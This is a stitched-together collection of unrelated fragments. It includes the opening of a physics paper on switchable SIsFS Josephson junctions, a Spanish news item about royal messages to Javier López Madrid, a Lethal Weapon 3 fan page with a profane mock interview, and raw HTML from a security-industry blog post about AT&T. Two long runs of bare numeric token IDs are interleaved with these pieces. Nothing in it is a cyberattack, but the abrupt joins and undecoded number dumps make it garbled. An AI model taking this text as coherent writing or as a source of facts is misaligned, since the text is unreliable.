[@Oh; @Tagirov; @Held]. Following the first experimental realization of SFS Josephson junctions [@RyazanovU; @Ryazanov], much attention was paid to realize Josephson devices with complex magnetic barriers allowing switching between high and low critical currents. A number of different device structures were considered [@VolkovAF; @GKF1; @VolkovAF2; @Houzet; @Karminskaya1; @Karminskaya2; @Gabor; @BirgeLR; @Bolginov] based either on superconducting spintronics effects or singlet-triplet switching within the magnetic barrier. However, these approaches were based on structures with reduced characteristic voltage $I_cR_N$ of junctions. Recently, successful realization of switchable Nb-Al/AlO${_x}$-Nb-Pd$_{0.99}$Fe$_{0.01}$-Nb junctions was reported in [@Larkin; @Vernik; @Ryazanov3]. These junctions are of SIsFS type, i.e., a serial connection of the SIs tunnel junction and sFS sandwich. SIsFS structure has high characteristic voltage, $I_cR_N,$ due to the presence of tunnel barrier ’I’. At the same time the whole structure behaves as a single junction with respect to an external magnetic field $H_{ext}$ and magnetic flux $\Phi$ penetrating into the structure, since the intermediate layer s is too thin to screen magnetic field. As a result, the magnetic field entering the Pd$_{0.99}$Fe$_{0.01}$ layer will modify its effective magnetization, facilitating the critical current control of the whole double-barrier SIsFS structure. According to Ref. [@Uspenskaya], effective magnetization in the dilute Pd$_{0.99}$Fe$_{0.01}$ is controlled by Fe-rich Pd$_3$Fe nanoclusters, which can be easily reordered by a weak magnetic field. ![Schematic design of SIsFS Josephson junction. Solid line demonstrates typical distribution of pair potential $\Delta $ along the structure. It reaches bulk values in the S electrodes, is suppressed in the middle s layer and vanishes in the ferromagnetic region F. The characteristic length scales are also marked in the figure: $\protect\lambda _{L}$ is the London penetration depth and $\protect\xi_{S} $ is the coherence length typical for niobium.](1a.eps){width="5.5cm"} The purpose of this paper is to develop a theory describing various modes of operation of SIsFS Josephson devices. We propose a quasiclassical model for a double-barrier Josephson structure in which magnetic and spin states of the F-film in an sFS part of the structure can change the properties and even the ground state of its Sis part. As a result, an external magnetic field may switch the junction from a superconducting to a resistive state or may transform a conventional current-phase relation to an inverted one. We compare the results with experimental data recently obtained for for Nb-Al/AlO${_x}$-Nb-Pd$_{0.99}$Fe$_{0.01}$-Nb junctions. We consider the multilayered structure presented in Fig.**1**. It consists of two superconducting electrodes ’S’ separated by a tunnel barrier ’I’, an intermediate thin superconducting film ’s’ and a ferromagnetic layer ’F’. To describe the supercurrent transport in the structure, we assume that the conditions of a dirty limit are fulfilled for all metals. We

[ 12424, 1499, 80, 1753, 12580, 49200, 500, 28024, 15, 16336, 20789, 7460, 9390, 299, 373, 13, 18429, 265, 7460, 860, 5210, 1260, 375, 15, 18407, 345, 80, 336, 19530, 13, 13647, 1753, 2013, 375, 13, 13647, 1675, 13167, 15, 8742, 1471, 7766, 13, 4285, 615, 15, 914, 6290, 80, 509, 74, 30197, 4113, 3446, 187, 187, 18675, 6575, 1045, 1073, 5629, 15, 265, 1345, 1954, 1045, 523, 257, 7112, 372, 3897, 34939, 1432, 265, 13, 12000, 66, 10417, 396, 2297, 1954, 247, 6583, 274, 826, 2611, 7860, 372, 3897, 294, 9820, 546, 826, 5636, 7860, 546, 3897, 36953, 1109, 15777, 1448, 1445, 1950, 45434, 340, 396, 2701, 10510, 247, 247, 26931, 321, 274, 1753, 826, 774, 7860, 372, 717, 382, 324, 396, 29477, 687, 936, 15, 3599, 1049, 49155, 372, 3897, 294, 9820, 355, 44345, 345, 3354, 3377, 396, 1002, 5309, 8514, 35078, 6191, 265, 46380, 372, 826, 9987, 7860, 372, 17918, 5495, 17128, 15, 187, 187, 43, 28024, 418, 1954, 29283, 353, 1757, 5267, 301, 26510, 3641, 358, 9108, 1448, 35584, 5309, 372, 330, 22779, 21924, 15, 8802, 1954, 402, 13586, 75, 1464, 1121, 20240, 13326, 1045, 2164, 372, 704, 3381, 287, 372, 4267, 340, 1045, 3307, 372, 37266, 9623, 3381, 372, 4332, 15, 4137, 9144, 80, 2264, 345, 826, 2806, 9407, 423, 22125, 247, 5910, 15, 28950, 32306, 15, 3599, 14967, 9144, 80, 372, 5940, 1220, 66, 24005, 944, 2076, 19070, 247, 5940, 509, 376, 546, 309, 589, 571, 4474, 1395, 70, 372, 495, 15, 38228, 32306, 15, 187, 187, 8677, 1174, 15973, 372, 3897, 294, 9820, 396, 419, 362, 28697, 17400, 3814, 936, 546, 3897, 32528, 29058, 31928, 546, 1459, 375, 6483, 375, 1753, 15761, 913, 357, 3377, 546, 3897, 7166, 42148, 8585, 15, 1219, 372, 4358, 13586, 13670, 284, 2806, 13, 1753, 14076, 396, 45305, 6336, 546, 1045, 33083, 1448, 734, 68, 1369, 900, 372, 34939, 1432, 265, 13, 396, 2020, 1954, 402, 516, 1065, 7860, 4474, 1045, 838, 35106, 913, 26471, 247, 5940, 7345, 66, 10279, 25007, 23748, 15, 42, 369, 399, 31271, 432, 418, 678, 267, 844, 23821, 495, 187, 187, 39557, 407, 2305, 15, 27319, 13156, 1063, 337, 296, 2398, 5403, 187, 4064, 1855, 728, 70, 48193, 15, 681, 187, 9, 66, 1652, 4114, 10, 187, 37, 31271, 310, 581, 273, 13104, 8524, 893, 19180, 457, 84, 2143, 3858, 15, 285, 3558, 273, 247, 38920, 46189, 10821, 15, 309, 1333, 38920, 46189, 984, 597, 1053, 457, 85, 1646, 281, 513, 1199, 3430, 7419, 432, 1056, 247, 3158, 10463, 672, 253, 23247, 403, 670, 15, 313, 3529, 285, 253, 22003, 273, 9676, 41815, 285, 27050, 10, 187, 60, 7317, 281, 62, 35469, 273, 20715, 20709, 447, 13, 34382, 5943, 285, 8524, 893, 19180, 4366, 690, 20634, 3879, 407, 690, 5753, 13, 285, 594, 597, 2028, 253, 21613, 77, 7640, 281, 21090, 15, 831, 3908, 556, 253, 7285, 1055, 327, 731, 285, 597, 1408, 14517, 2686, 278, 83, 6521, 13156, 1063, 13, 1223, 4682, 893, 19180, 369, 10000, 892, 1212, 249, 521, 305, 7640, 285, 2403, 247, 42463, 13, 34382, 5943, 8344, 253, 20634, 2425, 275, 253, 31132, 285, 4425, 281, 769, 327, 521, 1211, 10, 11977, 247, 2372, 273, 247, 24577, 13, 34382, 5943, 285, 8524, 893, 19180, 8722, 281, 7145, 253, 5753, 13, 665, 1527, 3289, 275, 46347, 1108, 8524, 893, 19180, 27019, 407, 10884, 13768, 285, 344, 8379, 32299, 247, 21613, 77, 360, 15, 2091, 344, 4566, 281, 2451, 253, 2133, 344, 41217, 13, 281, 521, 15535, 13, 326, 352, 310, 13104, 457, 84, 3331, 13, 399, 31271, 15, 187, 187, 60, 13982, 337, 407, 2802, 69, 438, 2205, 480, 257, 7232, 457, 62, 187, 510, 1390, 673, 309, 3735, 672, 3095, 556, 644, 5103, 13, 597, 2057, 3150, 390, 2242, 627, 275, 41335, 15, 1893, 253, 2471, 6200, 281, 479, 369, 581, 326, 309, 651, 2868, 984, 846, 253, 41335, 13, 344, 4962, 15, 1893, 5103, 1146, 253, 3908, 13, 369, 271, 762, 25322, 13, 984, 253, 2250, 4269, 253, 3451, 4884, 15, 309, 37977, 253, 13889, 6200, 4681, 13982, 374, 407, 2802, 28094, 6521, 13156, 1063, 457, 62, 187, 2773, 310, 247, 1175, 1127, 45673, 2205, 1108, 1512, 2223, 359, 923, 253, 2250, 285, 417, 253, 9099, 15, 1893, 352, 310, 1077, 3477, 281, 923, 23499, 952, 2970, 5103, 285, 1158, 326, 627, 310, 642, 3075, 3206, 13, 1955, 281, 1146, 711, 33761, 1025, 15, 187, 1992, 923, 436, 5772, 10776, 627, 275, 41335, 846, 1146, 5103, 1663, 10316, 1728, 253, 958, 326, 11942, 403, 417, 816, 23908, 313, 284, 841, 5753, 1646, 281, 1158, 275, 253, 3085, 36033, 13982, 495, 407, 2802, 29823, 457, 62, 187, 3726, 1663, 4211, 352, 275, 253, 3085, 15, 844, 1014, 452, 253, 20915, 13, 534, 2789, 352, 512, 253, 625, 1774, 13, 347, 1057, 253, 958, 352, 1663, 11852, 8524, 893, 19180, 4681, 13982, 577, 407, 2802, 44, 7694, 64, 38, 469, 73, 27643, 64, 1012, 457, 62, 187, 338, 924, 1622, 84, 310, 247, 3331, 273, 295, 469, 16328, 4682, 893, 19180, 2139, 310, 344, 247, 3558, 247, 10821, 32, 5082, 457, 85, 436, 1385, 347, 46337, 285, 3438, 3858, 32, 60, 13982, 608, 407, 2802, 40849, 6934, 1405, 2131, 457, 62, 187, 2302, 13, 352, 457, 84, 417, 773, 16339, 1402, 267, 668, 15956, 18923, 399, 31271, 310, 5339, 407, 19528, 8524, 893, 19180, 13, 13104, 457, 84, 3392, 15, 399, 31271, 13, 1880, 13104, 457, 84, 3331, 390, 417, 13, 369, 10155, 253, 1569, 285, 9602, 387, 19528, 665, 11226, 896, 275, 1881, 14, 29337, 15, 1284, 323, 773, 28292, 24456, 1806, 399, 31271, 369, 13104, 457, 84, 3331, 13, 417, 19528, 457, 84, 13, 285, 16280, 13, 347, 359, 923, 1996, 13, 3738, 13104, 787, 1443, 399, 31271, 285, 417, 521, 3392, 323, 253, 2471, 13, 344, 1620, 557, 628, 84, 779, 347, 247, 3331, 15, 187, 42, 2238, 273, 1694, 253, 13214, 13104, 285, 399, 31271, 574, 1929, 581, 1529, 1580, 597, 497, 5753, 13, 6941, 13104, 281, 20621, 399, 31271, 457, 84, 10821, 37295, 13, 285, 399, 31271, 281, 417, 2564, 326, 13104, 457, 84, 3392, 310, 247, 5440, 4681, 13982, 721, 407, 2802, 23182, 457, 62, 187, 12311, 1127, 20846, 6934, 1405, 2131, 2, 187, 17803, 8465, 1128, 1628, 4877, 22508, 31305, 668, 187, 187, 4553, 619, 44064, 3186, 323, 253, 1894, 773, 69, 552, 1190, 924, 1622, 84, 668, 38857, 18365, 270, 18846, 259, 38051, 7521, 309, 4720, 4441, 779, 3066, 36979, 4302, 33978, 327, 253, 47683, 42896, 16838, 13, 309, 806, 3047, 270, 18846, 275, 10226, 13, 4882, 247, 48233, 327, 247, 2021, 8213, 9037, 773, 44641, 253, 1175, 3819, 7521, 891, 1996, 7478, 779, 327, 17699, 13060, 48011, 2284, 74, 285, 369, 14435, 407, 521, 21242, 13, 594, 891, 873, 562, 327, 247, 1437, 281, 755, 3304, 253, 2564, 273, 773, 27083, 38866, 668, 285, 672, 891, 4720, 1119, 779, 13, 949, 6313, 48455, 13, 751, 16121, 247, 4956, 39121, 275, 253, 618, 73, 4595, 13, 344, 5821, 281, 3662, 247, 1643, 3533, 327, 253, 4481, 27, 187, 187, 9, 1405, 4587, 2305, 259, 38051, 13, 634, 2159, 6940, 8534, 5249, 14278, 273, 581, 2021, 8213, 9037, 13, 767, 13977, 327, 17699, 1106, 348, 48011, 2284, 74, 1157, 395, 4925, 352, 457, 84, 268, 2966, 6929, 313, 249, 619, 4743, 10, 9453, 368, 4546, 399, 31271, 3774, 1622, 84, 275, 253, 4735, 3085, 25894, 10485, 1264, 32, 187, 9, 35, 18846, 4587, 69, 54, 615, 13, 891, 425, 6156, 1014, 2326, 25894, 10485, 495, 13, 285, 891, 369, 751, 854, 672, 2021, 8213, 30406, 2866, 752, 253, 7085, 310, 557, 32, 187, 187, 9, 1405, 4587, 1147, 1364, 452, 644, 12680, 33405, 824, 247, 1818, 275, 7286, 323, 1110, 767, 25893, 13451, 13, 369, 352, 3511, 762, 512, 326, 1056, 14, 484, 32, 187, 9, 35, 18846, 4587, 1276, 253, 7435, 310, 436, 32, 368, 2183, 479, 436, 369, 323, 11332, 7171, 42896, 16838, 13, 403, 368, 49826, 19311, 278, 38, 247, 52, 2809, 1306, 4672, 8220, 187, 187, 9, 1405, 4587, 1276, 369, 352, 751, 1146, 5103, 285, 5339, 407, 277, 10059, 1289, 1189, 457, 84, 1894, 396, 1662, 386, 4682, 15559, 32, 187, 9, 35, 18846, 4587, 1737, 2, 32, 38798, 259, 24721, 33186, 187, 187, 9, 1405, 4587, 496, 634, 4743, 13, 369, 344, 1663, 1512, 1711, 323, 436, 10739, 32, 187, 9, 35, 18846, 4587, 30531, 7519, 8702, 2, 187, 187, 9, 1405, 4587, 10348, 368, 2455, 1928, 275, 5434, 327, 253, 873, 1146, 1475, 824, 247, 32397, 637, 347, 16172, 249, 8132, 5943, 32, 187, 9, 11478, 33664, 4587, 1394, 1705, 327, 1066, 281, 1114, 356, 5582, 457, 84, 4874, 641, 327, 253, 16838, 13, 479, 12, 9903, 5134, 457, 620, 921, 368, 752, 457, 84, 752, 7435, 20392, 2, 187, 187, 9, 1405, 4587, 10249, 378, 9324, 13, 247, 767, 1061, 350, 1163, 1737, 369, 6673, 33342, 1665, 751, 1078, 344, 21023, 15589, 84, 32, 1244, 858, 368, 2455, 755, 281, 16463, 521, 28548, 4707, 32, 187, 9, 26845, 4587, 67, 22052, 436, 310, 1663, 1265, 249, 281, 24329, 479, 745, 13, 752, 457, 84, 253, 4112, 1060, 2, 32, 3166, 359, 452, 247, 49826, 1895, 2, 32, 187, 187, 9, 46, 4587, 6272, 368, 247, 39203, 32, 187, 9, 35, 4587, 1276, 253, 10739, 1057, 326, 452, 281, 513, 342, 2712, 32, 187, 187, 9, 46, 4587, 6089, 13, 1078, 344, 5103, 285, 5339, 368, 13, 38798, 4682, 15559, 369, 10885, 690, 9305, 9132, 13, 13828, 281, 1056, 581, 273, 521, 28648, 42803, 323, 8132, 5943, 2866, 42, 10369, 5545, 344, 574, 673, 281, 14841, 521, 3564, 2378, 253, 764, 5011, 3053, 13, 16906, 537, 344, 2918, 368, 1223, 368, 4962, 275, 521, 2266, 1157, 9132, 90, 3564, 2866, 5430, 858, 326, 2818, 368, 32, 187, 9, 35, 4587, 30531, 7519, 8702, 4672, 13, 7168, 619, 930, 5830, 40889, 2, 20356, 13869, 6317, 428, 18482, 692, 290, 43183, 2413, 1358, 13980, 39098, 13608, 15, 681, 16, 9292, 13646, 16, 3945, 16, 32296, 26, 187, 257, 6601, 1075, 48741, 2, 4915, 7, 53, 4566, 10567, 342, 697, 747, 3988, 16, 9511, 29885, 3238, 2413, 1358, 13980, 39098, 13608, 15, 681, 16, 9198, 16, 42959, 14, 1200, 10468, 398, 14, 1595, 14, 2184, 265, 14, 1221, 647, 14, 953, 14, 1826, 14, 13980, 14, 9511, 14, 37771, 318, 14, 21922, 187, 29, 2154, 966, 568, 3423, 1673, 14, 1590, 14, 3423, 14, 22934, 1673, 14, 881, 14, 9292, 13646, 14, 3945, 14, 14005, 1673, 14, 1968, 14, 19057, 2590, 11097, 1138, 187, 29, 2154, 966, 568, 3423, 14, 15565, 1138, 187, 29, 2154, 966, 568, 3423, 14, 4835, 1014, 3, 2867, 568, 18982, 27, 7582, 36196, 27, 20132, 263, 1138, 53, 405, 427, 584, 282, 24116, 91, 870, 2154, 31, 187, 870, 2154, 31, 187, 870, 2154, 31, 187, 29, 2154, 966, 568, 3423, 1673, 14, 1590, 14, 3423, 14, 16712, 2754, 1673, 14, 881, 14, 8608, 15364, 1673, 14, 1968, 14, 19057, 2590, 11097, 1138, 187, 29, 2154, 966, 568, 3423, 14, 15565, 1138, 187, 29, 2154, 966, 568, 3423, 14, 4835, 1014, 3, 2867, 568, 18982, 27, 2754, 32963, 36196, 27, 22337, 5264, 2551, 966, 568, 2754, 14, 8412, 14, 20199, 3, 2867, 568, 18982, 27, 2754, 32963, 36196, 27, 22337, 3, 2856, 39960, 568, 18728, 27, 2754, 4769, 3, 2600, 568, 6755, 14, 2904, 14, 1229, 53, 361, 27, 361, 27, 361, 14, 2125, 27, 361, 1138, 2904, 16, 1229, 16, 6755, 870, 2551, 3073, 2154, 31, 187, 870, 2154, 31, 187, 870, 2154, 31, 187, 29, 2154, 966, 568, 3423, 1673, 14, 1590, 14, 2915, 1673, 14, 881, 14, 1156, 14, 3113, 14, 8774, 1673, 14, 1968, 14, 19057, 2590, 11097, 1138, 187, 29, 2154, 966, 568, 3423, 14, 15565, 1138, 187, 29, 2154, 966, 568, 3423, 14, 4835, 1014, 3, 2867, 568, 18982, 27, 14600, 15163, 2600, 27, 36034, 1138, 654, 81, 31, 42, 2361, 275, 2552, 326, 4915, 7, 1301, 28, 53, 369, 11734, 253, 3988, 2317, 342, 5768, 7587, 275, 16700, 285, 275, 18267, 273, 697, 1728, 3988, 16, 9511, 29885, 3238, 1925, 16132, 7813, 15, 380, 4014, 681, 671, 7560, 840, 273, 697, 5827, 281, 654, 66, 3860, 568, 2413, 1358, 2700, 15, 13980, 39098, 13608, 15, 681, 16, 14600, 16, 1595, 14, 33443, 763, 14, 13980, 3, 2303, 23604, 22473, 1138, 16702, 326, 2317, 870, 66, 31, 949 ]

abe slo que pienso Javier. Sabemos quién eres, sabes quiénes somos. Nos conocemos, nos queremos, nos respectamos. Los demás, merde. Un beso compi yogui". Cuando el diario.es publicó el contenido de los mensajes, Casa Real se negó a confirmar la participación de los reyes en la conversación en los términos del artículo y se limitaron a asegurar que la relación de amistad se había roto. El apoyo de los reyes al ahora condenado se produjo cuatro meses después de la coronación de Felipe VI. Javier López Mádrid fue miembro del consejo de Caja Madrid. Usó su tarjeta opaca entre el 24 de febrero de 2010 y el 22 de diciembre de 2011. Su gasto total con la black ascendió a 34.807 euros. El mayor gasto de una sola vez corresponde a una compra en Iberia por importe de 3.067 euros. El examigo de los reyes se ha visto envuelto en los últimos años en varios casos que han acabado en los juzgados. Al de las tarjetas black, que ya se conocía en el momento del intercambio de mensajes, se sumó su imputación por el presunto acoso a una doctora madrileña.I was Daryl from Lethal Weapon 3 Written by Mr. Mouseburger 1st Mar 2006 from moviedeaths.com (a little background) Daryl is one of Nick Murtaugh’s school friends. and member of a mildly sinister gang. I say mildly sinister because they don’t seem to do much wrong apart from make a quick exit when the cops are about. (that and the trafficking of illegal narcotics and firearms) [cut to] Outside of Fast Eddies, Riggs and Murtaugh notice some suspicious behavior by some kids, and so they tell the hoodlums to freeze. This statement has the opposite effect on them and they run.( actually mr mouseburger, while murtaugh was busy flappin his gums and making a burger, Riggs noticed the suspicious activity in the alley and decided to act on his own) Following a bit of a chase, Riggs and Murtaugh manage to corner the kids, who open fire in desperation – Murtaugh responds by returning shots and he successfully shoots a hoodlum. When he goes to check the body he discovers, to his horror, that it is Nick’s friend, Daryl. [comment 1 by ‘dudley jenkins’] The last time I heard when someone has been shot, they either die or lay there in agony. So the death scene to me was one that I would believe because after the agony, he died. So shot being the statement, was an understatement, because the action caused the correct reaction. I applaud the dying scene.[comment 2 by ‘mr mouseburger’] That is a good point Dudley – too often we see the action and not the consequences. So it is very easy to see countless people getting shot and think that there is no pain involved, due to being desensitized. To see this kid lying there in agony after being shot really brings home the fact that guns are not just toys (as these kids seem to think in the film).[comment 3 by ‘Matt’] They really sold it in the film. We even have the funeral, which makes it all the more important, as does the fact it really affects Murtaugh.[comment 4 by ‘Karl_Eichholtz_13’] if smithers is a friend of nicholas murtaugh why is he a member a gang? wouldn’t this count as betrayal and former friends?[comment 5 by ‘Kooshmeister’] No, it’s not “Betrayal” ’cause Daryl is killed by Roger Murtaugh, Nick’s father. Daryl, whether Nick’s friend or not, was breaking the law and shooting at Roger who fired back in self-defense. As for “Former Friends,” Daryl was Nick’s friend, not Roger’s, and besides, as we see later, although Nick blames Daryl and not his father for the death, he never disowns him as a friend. I kind of got the impression Nick and Daryl had known one another since they were kids, allowing Nick to overlook Daryl’s gang affiliations, and Daryl to not mind that Nick’s father is a cop.[comment 6 by ‘bird’] good point kooshmeister! ———————“DA INTERVIEW” After my relentless search for the character “daryyl smithers” aka ” bobby wynn”, I finally located him via facebook technology residing on the famed jersey shore, I first saw bobby in 1991, playing a bully on a family matters episode “fight the good fight”, i later recognized him on baywatch hawaii and was touched by his genius, so i set out on a quest to get inside the mind of “darryl” and when i finally found him, through pure cunning, like hunting a wild tiger in the sahara, he agreed to answer a few questions on the phone: (me)- Mr wynn, your short lived acting career consisted of one family matters episode, two spots on baywaych hawaii,and reached it’s pinnacle (in my opinion)when you played Daryl Smithers in the feature film lethal weapon three? (Bobby)-dUde, i neva even seen lethal weapon 3, and i was like 8 when family matters aired… what the hell is dis? (me)-It must have been intense undertaking such a change in appearance for those two legendary scenes, was it hot under all that make-up? (Bobby)-What the fuck is this? you told me this was for teen beat jersey shore, are you fuckin wit mE aSShole!!?? (me)-What was it like being shot and killed by danny glover’s character seargant murtah? (Bobby)- What!? sergeant wHo??? (me)- In your opinion, was he really too old for this shit? (Bobby)-FUCK YOU! (me)- Did you ever feel in danger on the set being around such a reckless man as martin riggs? (Booby)-You come on down to monaghan’s liquors on the shore, me+donny’ll show you what’s what fuck nuts! (me)-OK BOB, a two parter : What was mel gibson like before he hated jews? And did you ever get to brush his glorious hair? (Bob)-bRo this is really startin to piss me off, what’s the situation here!? Do we have a fuckin problem!? (M)- Are you a vegetarian? (B)-What the shit does that have to do with anything? (M)- Well, before he shot and killed you, sergeant murtah was handling some raw meat, preparing to make one of his specialty burgers for riggs…I seriously doubt he had time to wash his hands once the commotion started, afterwards.. he held you while you died in his strong, meaty hands…how did that affect you? (B)-FUCK YOU!!, lose my numba asshole!Security Systems News - Magnificent Milehttp://securitysystemsnews.com/taxonomy/term/4959 enAttention shoppers! AT&T goes retail with its new security/home automation serviceshttp://securitysystemsnews.com/blog/attention-shoppers-att-goes-retail-its-new-security-home-automation-services <div class="field field-name-field-blogger field-type-taxonomy-term-reference field-label-hidden clearfix"> <div class="field-items"> <div class="field-item even" property="schema:author dc:creator">Tess Nacelewicz</div> </div> </div> <div class="field field-name-field-pubdate field-type-datestamp field-label-hidden clearfix"> <div class="field-items"> <div class="field-item even" property="schema:datePublished dc:created"><span class="date-display-single" property="schema:datePublished dc:created" datatype="xsd:dateTime" content="2012-08-30T00:00:00-04:00">08/30/2012</span></div> </div> </div> <div class="field field-name-body field-type-text-with-summary field-label-hidden clearfix"> <div class="field-items"> <div class="field-item even" property="schema:articleBody content:encoded"> <p>I reported in May that AT&T was entering the security space with summer trials in Dallas and in Atlanta of its home security/home automation services called Digital Life. The telecom also spoke then of its plans to <a href="http://www.securitysystemsnews.com/article/att-bullish-security" target="_blank">transform that space</a> through

[ 5306, 12042, 281, 20486, 253, 27243, 27, 187, 187, 15004, 12042, 1969, 1251, 27475, 187, 187, 10758, 2218, 13, 253, 427, 48431, 3596, 1873, 943, 452, 4391, 13, 285, 943, 320, 751, 253, 1563, 27, 187, 187, 9438, 551, 187, 187, 9438, 64, 1590, 634, 14, 15083, 14071, 15, 78, 50036, 15, 681, 28, 187, 187, 26520, 64, 5858, 187, 187, 94, 4328, 1227, 551, 26520, 64, 5858, 3944, 1358, 22922, 27, 20, 4699, 16, 8028, 544, 1450, 5218, 28871, 256, 3433, 13997, 87, 23, 7483, 30, 251, 28, 1852, 7303, 407, 19937, 12042, 187, 187, 42050, 34790, 256, 3433, 28, 1852, 7303, 407, 19937, 12042, 256, 3433, 64, 15004, 10735, 1227, 14069, 16, 6639, 2083, 7430, 16, 22621, 16, 12550, 14, 15083, 14071, 15, 78, 50036, 15, 681, 16, 11546, 10050, 15, 81, 358, 28, 1852, 7303, 407, 19937, 12042, 256, 3433, 64, 15004, 10735, 64, 2364, 1227, 14069, 16, 6639, 2083, 7430, 16, 22621, 16, 12550, 14, 15083, 14071, 15, 78, 50036, 15, 681, 16, 13552, 2364, 15, 81, 358, 28, 1852, 7303, 407, 19937, 12042, 2486, 1227, 14069, 16, 6639, 2083, 7430, 16, 10121, 14, 28908, 14, 1251, 27475, 15, 8259, 28, 1852, 7303, 407, 19937, 12042, 187, 187, 28908, 64, 20402, 3575, 1227, 14069, 16, 6639, 2083, 7430, 16, 28908, 14, 20402, 12928, 15, 81, 358, 28, 1852, 7303, 407, 19937, 12042, 187, 187, 9438, 551, 187, 187, 338, 4816, 5465, 426, 634, 14, 15083, 14071, 15, 78, 50036, 15, 681, 10, 551, 187, 187, 2309, 24271, 187, 187, 94, 1852, 7303, 407, 19937, 12042, 4771, 551, 338, 4816, 5465, 426, 634, 14, 15083, 14071, 15, 78, 50036, 15, 681, 10, 551, 2309, 24271, 5987, 1358, 5, 5465, 5, 9629, 64, 11317, 748, 1852, 7303, 407, 19937, 12042, 8028, 5096, 28, 187, 187, 42050, 544, 1450, 5218, 1438, 28, 4771, 64, 1590, 634, 14, 15083, 14071, 15, 78, 50036, 15, 681, 28, 187, 187, 2309, 21566, 28, 1852, 7303, 407, 19937, 12042, 187, 187, 94, 187, 187, 4497, 13, 359, 403, 2218, 13, 285, 427, 48431, 310, 598, 285, 3515, 13, 2444, 347, 247, 8107, 17335, 323, 253, 270, 18038, 14, 44683, 14, 15083, 14071, 622, 15, 187, 187, 510, 1390, 2181, 281, 513, 310, 816, 1527, 253, 9882, 285, 1611, 352, 27, 53, 7417, 3837, 16179, 31349, 34382, 706, 6646, 19580, 68, 6035, 187, 187, 42576, 2071, 14175, 432, 19580, 68, 6035, 187, 187, 1051, 6927, 753, 685, 2218, 15, 1707, 403, 3402, 281, 3402, 21440, 533, 642, 15114, 562, 2914, 15, 844, 1119, 271, 9890, 10301, 835, 359, 3395, 253, 806, 6383, 323, 253, 2360, 15, 380, 46216, 9919, 281, 4665, 253, 8910, 323, 441, 15, 187, 187, 1145, 3024, 442, 949, 326, 703, 574, 6960, 247, 22534, 327, 247, 14408, 2613, 428, 3430, 13, 352, 369, 247, 2622, 22534, 342, 253, 577, 7522, 723, 275, 247, 7150, 327, 616, 1211, 15, 27288, 13, 973, 309, 3589, 626, 2119, 672, 253, 8910, 5382, 369, 5544, 15, 754, 1127, 281, 253, 19992, 5202, 562, 3346, 187, 187, 1051, 6561, 3971, 323, 670, 884, 10294, 285, 840, 359, 4352, 253, 11600, 15, 42340, 15, 530, 1814, 36972, 3672, 873, 598, 275, 2914, 273, 15660, 265, 285, 288, 14298, 15, 380, 29955, 620, 284, 497, 24104, 275, 616, 22290, 428, 8862, 285, 4759, 13, 8862, 285, 3168, 13, 2502, 285, 4797, 15, 329, 29553, 528, 8184, 13, 816, 751, 368, 923, 275, 22575, 285, 275, 253, 11321, 15, 1707, 497, 344, 1825, 273, 952, 327, 253, 29780, 13, 5101, 17326, 327, 253, 36767, 298, 415, 2510, 285, 17120, 275, 253, 5389, 4797, 1824, 15, 187, 187, 39685, 547, 4131, 369, 1529, 5508, 1475, 253, 47399, 285, 840, 247, 1652, 12701, 15, 4952, 387, 253, 388, 7, 46, 6224, 15, 844, 840, 7270, 253, 3468, 9735, 281, 4135, 428, 2686, 253, 33111, 432, 253, 1755, 273, 253, 2022, 19913, 281, 253, 1685, 4660, 313, 1857, 29202, 342, 512, 253, 14545, 10, 281, 2525, 8652, 665, 369, 6179, 281, 2525, 441, 342, 776, 2806, 12605, 267, 4660, 31829, 16263, 1113, 15, 844, 12668, 281, 5003, 2398, 2610, 285, 7270, 253, 10856, 1113, 598, 281, 253, 1755, 15, 844, 574, 11580, 1060, 342, 8024, 6481, 285, 6129, 285, 7636, 3346, 187, 187, 14569, 309, 717, 1469, 281, 320, 8872, 281, 3553, 19580, 68, 6035, 533, 3063, 309, 1353, 1469, 281, 452, 25259, 21078, 323, 253, 6470, 66, 305, 900, 4635, 285, 309, 717, 2820, 281, 755, 347, 1199, 14997, 347, 309, 476, 594, 326, 309, 476, 4489, 247, 353, 1452, 257, 7351, 323, 619, 19338, 20554, 15, 672, 309, 4582, 299, 275, 17956, 257, 17563, 309, 1833, 320, 5211, 281, 5184, 896, 327, 619, 37931, 4697, 285, 452, 690, 794, 689, 3346, 187, 187, 14569, 387, 253, 6470, 66, 372, 305, 900, 4635, 309, 4425, 281, 452, 247, 747, 4736, 15, 309, 871, 326, 309, 588, 417, 5115, 436, 4736, 594, 309, 1537, 417, 789, 327, 352, 1077, 1199, 10873, 15, 831, 4736, 310, 281, 4489, 247, 3044, 38997, 7351, 323, 619, 19338, 20554, 15, 43475, 309, 717, 417, 2119, 752, 309, 588, 1132, 15, 309, 858, 1132, 247, 747, 2165, 497, 368, 452, 281, 1611, 285, 5310, 5497, 583, 15, 5131, 685, 326, 352, 369, 247, 2622, 1388, 15, 1707, 310, 247, 7512, 2708, 4645, 849, 3511, 352, 3346, 36, 677, 474, 8376, 47910, 34177, 13411, 275, 20292, 27, 1263, 273, 4554, 1975, 4342, 875, 12034, 285, 8878, 275, 34215, 31138, 2418, 14, 41946, 15, 187, 510, 4096, 273, 253, 1246, 1263, 369, 281, 24228, 253, 4294, 273, 17206, 924, 6364, 19147, 313, 52, 3077, 16, 68, 20153, 3691, 10, 275, 767, 7625, 275, 253, 2418, 273, 322, 15, 31138, 313, 41946, 10, 665, 497, 22546, 323, 17349, 2923, 1309, 253, 1390, 7457, 1107, 27, 20292, 313, 484, 281, 253, 2363, 273, 3127, 10, 285, 7747, 313, 1189, 3127, 481, 18300, 1783, 2692, 247, 14955, 281, 4872, 2572, 275, 4294, 273, 10969, 17206, 924, 6364, 275, 1097, 2390, 313, 324, 3841, 1154, 27, 14679, 426, 470, 15, 14711, 11620, 470, 15, 3208, 28, 6782, 27, 14679, 426, 470, 15, 41040, 11620, 470, 15, 21940, 582, 1146, 3687, 275, 253, 28911, 1387, 313, 3433, 1714, 470, 15, 18832, 11620, 470, 15, 22439, 10, 685, 275, 253, 6782, 1387, 15, 17842, 12034, 285, 8878, 253, 8996, 273, 10969, 924, 6364, 1195, 6216, 275, 253, 6782, 1387, 313, 4064, 470, 15, 1787, 281, 337, 15, 1093, 10, 285, 2761, 9853, 579, 37787, 275, 253, 28911, 1387, 313, 4064, 470, 15, 1540, 281, 374, 15, 740, 481, 11578, 9646, 31920, 8376, 47910, 10429, 313, 52, 3077, 10, 497, 253, 954, 10879, 4342, 275, 17349, 4554, 1497, 275, 1097, 2390, 27, 11266, 15, 20, 6, 275, 253, 28911, 1387, 285, 10447, 15, 25, 6, 275, 253, 6782, 1387, 15, 29578, 2219, 273, 1029, 9646, 31920, 540, 6182, 262, 7927, 